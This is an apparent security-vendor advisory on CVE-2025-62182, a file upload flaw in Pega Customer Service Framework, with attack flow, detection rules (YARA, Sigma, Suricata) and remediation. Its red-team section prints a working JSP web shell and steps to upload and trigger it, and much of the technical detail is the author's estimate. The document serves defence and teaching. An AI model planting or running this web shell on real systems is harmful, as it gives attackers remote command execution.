CVE-2025-62182

Executive Summary

CVE-2025-62182 is an unrestricted file upload vulnerability affecting Pega Customer Service Framework versions 8.7.0 through 25.1.0. A privileged user can upload a malicious file, potentially leading to remote code execution, data exfiltration, or full system compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the lack of a known patch. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity currently. However, the vulnerability is in a widely used customer service platform, making it a high-value target for threat actors.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in Pega’s Customer Service Framework. No open-source patch data is available from OSV or GitHub.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability type (unrestricted file upload), the actual CVSSv3.1 vector would likely be:

• Attack Vector (AV): Network (N) – the upload is performed over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): High (H) – requires a privileged user account.
• User Interaction (UI): None (N) – no user interaction needed.
• Scope (S): Unchanged (U) – the vulnerability does not affect other components.
• Confidentiality (C): High (H) – malicious file can exfiltrate data.
• Integrity (I): High (H) – file upload can overwrite or inject malicious content.
• Availability (A): High (H) – file upload can lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 7.2 (High)

Threat Level: High – due to the potential for remote code execution and the lack of a patch.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Pega Customer Service Framework. The application fails to properly validate the type, content, or extension of uploaded files. A privileged user (e.g., an administrator or customer service agent with upload permissions) can upload a malicious file, such as a web shell, executable, or script, to the server.

Root Cause: The application does not enforce file type restrictions, content-type validation, or file extension whitelisting. This allows an attacker to upload files that can be executed by the web server or other components.

Attack Flow:

1. Attacker gains privileged access (e.g., via stolen credentials or social engineering).
2. Attacker navigates to the file upload functionality.
3. Attacker uploads a malicious file (e.g., a JSP web shell or PHP script) disguised as a legitimate file.
4. The file is stored on the server in a web-accessible directory.
5. Attacker accesses the uploaded file via a web browser, triggering execution.
6. The malicious file executes, giving the attacker remote code execution capabilities.

Impact: Full system compromise, data exfiltration, lateral movement, and potential persistence.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the file upload handler in Pega Customer Service Framework versions 8.7.0 through 25.1.0. The patched code would include:

• File extension whitelisting (e.g., only allow .jpg, .png, .pdf).
• Content-type validation (e.g., check MIME type matches expected type).
• File content inspection (e.g., using magic bytes to verify file type).
• Storing uploaded files outside the web root or with non-executable permissions.
• Renaming uploaded files to prevent direct execution.

Example of vulnerable code (pseudo):

// Vulnerable: No validation
public void uploadFile(File file) {
    String path = "/uploads/" + file.getName();
    file.save(path);
}

Example of patched code (pseudo):

// Patched: Whitelist extensions and validate content
public void uploadFile(File file) {
    String extension = getExtension(file.getName());
    if (!allowedExtensions.contains(extension)) {
        throw new SecurityException("Invalid file type");
    }
    if (!isValidContent(file)) {
        throw new SecurityException("Invalid file content");
    }
    String path = "/uploads/" + UUID.randomUUID() + "." + extension;
    file.save(path);
}

Exploitation & Lab Setup

Red Team

Objective: Exploit the unrestricted file upload to gain remote code execution.

Prerequisites:

• Access to a Pega Customer Service Framework instance (version 8.7.0 to 25.1.0).
• Privileged user credentials (e.g., admin or agent role).

Steps:

1. Login: Authenticate as a privileged user.
2. Navigate: Go to the file upload functionality (e.g., /upload or /filemanager).
3. Craft Payload: Create a malicious file, such as a JSP web shell:

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   %>
   

4. Upload: Upload the file with a legitimate-looking name (e.g., image.jsp).
5. Execute: Access the uploaded file via the web server (e.g., http://target/uploads/image.jsp?cmd=whoami).
6. Escalate: Use the shell to escalate privileges or move laterally.

Alternative Payloads:

• PHP web shell (if PHP is used).
• Python script (if executed by the server).
• Executable binary (if the server allows execution).

Blue Team

Objective: Detect and prevent exploitation of the unrestricted file upload.

Detection:

• Monitor file upload logs for unusual file extensions (e.g., .jsp, .php, .exe).
• Alert on uploads from privileged users that deviate from normal behavior.
• Use file integrity monitoring to detect new files in web-accessible directories.

Prevention:

• Implement file extension whitelisting.
• Validate file content using magic bytes.
• Store uploaded files outside the web root.
• Use a web application firewall (WAF) to block malicious file uploads.
• Apply the principle of least privilege to user roles.

Hunting:

• Search for files with double extensions (e.g., image.jsp.jpg).
• Look for files in upload directories that are not expected (e.g., .jsp files in an image upload folder).
• Check for unusual processes spawned by the web server.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with extensions .jsp, .php, .asp, .aspx, .exe, .sh, .py in upload directories.
• Files with names containing special characters or double extensions.
• Files with unexpected MIME types (e.g., application/x-httpd-php for an image upload).

Network IOCs:

• HTTP requests to /uploads/ or similar paths with suspicious file names.
• Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
• Unusual HTTP methods (e.g., POST to upload endpoints with large payloads).

Log IOCs:

• Log entries showing file uploads with extensions not in the whitelist.
• Log entries showing access to uploaded files from non-standard IPs.
• Log entries showing execution of uploaded files (e.g., 200 OK responses to JSP files).

Behavioral IOCs:

• Privileged users uploading files outside of normal business hours.
• Multiple upload attempts in a short period.
• Uploads from IPs not associated with the user’s typical location.

Detection Engineering

YARA Rule

rule CVE_2025_62182_Unrestricted_File_Upload {
    meta:
        description = "Detects malicious files uploaded via CVE-2025-62182"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62182"
    strings:
        $jsp_webshell = "<%@ page import=\"java.io.*\" %>" nocase
        $php_webshell = "<?php system(" nocase
        $asp_webshell = "<% eval request(" nocase
        $exe_magic = { 4D 5A } // MZ header for PE files
        $elf_magic = { 7F 45 4C 46 } // ELF header
    condition:
        any of ($jsp_webshell, $php_webshell, $asp_webshell, $exe_magic, $elf_magic)
}

Sigma Rule

title: Unrestricted File Upload - CVE-2025-62182
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads with suspicious extensions or content in Pega Customer Service Framework
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload*'
    extension_filter:
        cs-uri-query|contains:
            - '.jsp'
            - '.php'
            - '.asp'
            - '.exe'
            - '.sh'
            - '.py'
    condition: selection and extension_filter
falsepositives:
    - Legitimate file uploads with these extensions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62182 Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/(\.jsp|\.php|\.asp|\.exe|\.sh|\.py)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If possible, disable the file upload functionality until a patch is available.
2. Restrict Access: Limit file upload capabilities to only trusted users and IPs.
3. Implement WAF Rules: Use a web application firewall to block uploads of executable file types.

Long-Term Fixes:

1. Apply Patch: Monitor Pega’s security advisories for an official patch and apply it immediately.
2. Code Review: Conduct a security review of the file upload module to ensure proper validation.
3. File Storage: Store uploaded files in a non-web-accessible directory and serve them via a script that enforces content-type headers.
4. User Training: Educate privileged users about the risks of uploading untrusted files.

Workarounds:

• Use a reverse proxy to inspect and block malicious file uploads.
• Implement file extension whitelisting at the application or server level.
• Use antivirus or malware scanning on uploaded files.

Valters IT
Securing Digital Frontiers